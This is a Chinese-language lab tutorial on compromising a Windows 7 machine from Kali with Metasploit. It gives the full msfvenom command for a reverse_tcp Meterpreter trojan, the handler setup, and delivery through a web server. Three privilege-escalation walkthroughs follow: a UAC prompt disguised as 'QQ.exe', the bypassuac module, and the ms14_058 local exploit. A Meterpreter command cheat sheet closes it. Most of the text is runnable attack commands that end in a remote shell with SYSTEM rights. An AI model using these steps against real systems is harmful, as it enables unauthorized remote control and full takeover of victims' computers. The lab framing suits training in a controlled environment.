实验环境
靶机:win7
攻击机:kali
实验目的
1.首先,利用msfvenom生成木马病毒,传输至win7系统获取普通权限。
2.利用权限提升的三种方式进行提权,三种方式分别为:提高程序运行级别(不完全绕过UAC)、UAC绕过进行权限提升、利用本地提权漏洞进行权限提升。
实验步骤
一.生成木马
1.首先在kali中利用msfvenom生成一个针对win 7系统的木马。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.197.135 LPORT=4444 -f exe > shell.exe
LHOST=kali的ip,LPORT指定监听端口
-f exe > shell.exe ,>后是给木马起的名字,-f 指定格式为exe
2.在kali的msf上配置监听的脚本。
# msfconsole //打开msf控制台
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.197.135
# msf6 exploit(multi/handler) > exploit //执行
使用命令show options可以看到当前的配置信息。
3.将kali上生成的木马传送到win 7上。
# service apache2 start
# cp shell.exe /var/www/html //将木马上传到apache里面
然后在靶机win 7上访问192.168.197.135/shell.exe,下载木马,点击运行即可。
4.在win7上运行木马,使得kali上有监听到session。
可以看到已经有一个id=1的session出现。
二.权限提升
提权方法1:提高程序的运行级别。MSF模块:exploit/windows/local/ask。执行这个模块的时候会触发UAC,在用户选“是”之后,获得一个更高权限的shell,反之用户否掉的话,则无法获得更高权限。
可以看到,当在win 7上运行木马时,kali上可以接收到一个session。使用命令sessions -i 1,切换到会话1,getuid查看当前用户,getsystem尝试提升系统用户权限,发现此时报错,说明权限不够,需要提权。
msf6 exploit(multi/handler) > use exploit/windows/local/ask
msf6 exploit(windows/local/ask) > info //查看需要配置的地方
msf6 exploit(windows/local/ask) > set session 1 //设置需要提权的会话
msf6 exploit(windows/local/ask) > set filename QQ.exe //设置弹窗名字
msf6 exploit(windows/local/ask) > exploit
完成上述操作之后,在win 7上会弹窗,点击“是”之后会发现kali上新增一个session。
然后进入会话2,再次使用getsystem发现提权成功,权限变为system。
但是上述方法有很大局限,如果用户安全意识较好,不点击“是”,我们则无法进行提权,因此下面使用绕过UAC的方法进行提权。
提权方法2:UAC绕过。MSF模块:exploit/windows/local/bypassuac。
在输入use exploit/windows/local/bypassuac之后按下table键,可以看到有很多可以利用的模块,此处我们就选用简单的exploit/windows/local/bypassuac进行实验。
使用info命令可以查看到,此模块对windows系统32位和64位均有效,可以绕过UAC提权。此处我们设置一个需要进行提权的session即可。
msf6 exploit(windows/local/bypassuac) > set session 1
msf6 exploit(windows/local/bypassuac) > exploit
同样的方法进入session 3,使用getsystem进行提权。
由上述操作我们可以看到,此处绕过了UAC,无需win 7用户进行点击即可进行提权操作。
提权方法3:利用本地提权漏洞进行提权。MSF模块:exploit/windows/local/ms14_058_track_popup_menu。win 7中漏洞比较多,还有ms16_016,ms16_032,ms15_051等。想使用哪个漏洞使用命令search查找即可,比如search ms16_016,会显示相关漏洞模块名称。此处就使用ms14_058提权。
msf6 > use exploit/windows/local/ms14_058_track_popup_menu
msf6 exploit(windows/local/ms14_058_track_popup_menu) > info
msf6 exploit(windows/local/ms14_058_track_popup_menu) > set session 1
msf6 exploit(windows/local/ms14_058_track_popup_menu) > exploit
可以看到此时直接就是system权限,不需要再输入其他命令提权。
如果想要使用其他漏洞,则通过漏洞编号搜索模块,直接使用即可。
接下来是一些常见msf命令:
常用提权命令
sysinfo 查看系统命令
migrate 注入进程
getuid 获取当前用户
getprivs 尽可能提升权限
getsystem 通过各种攻击向量来提升系统用户权限
//可以先使用 getsystem 来自动提权,如果失败再手动提权
基础命令
ps 列出进程
sessions 查看会话
background 把session放置后台
sessions -i number //与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
interact id #切换进一个信道
back 返回主界面
shell 得到终端
search搜索模块
show 列模块
info 查看模块信息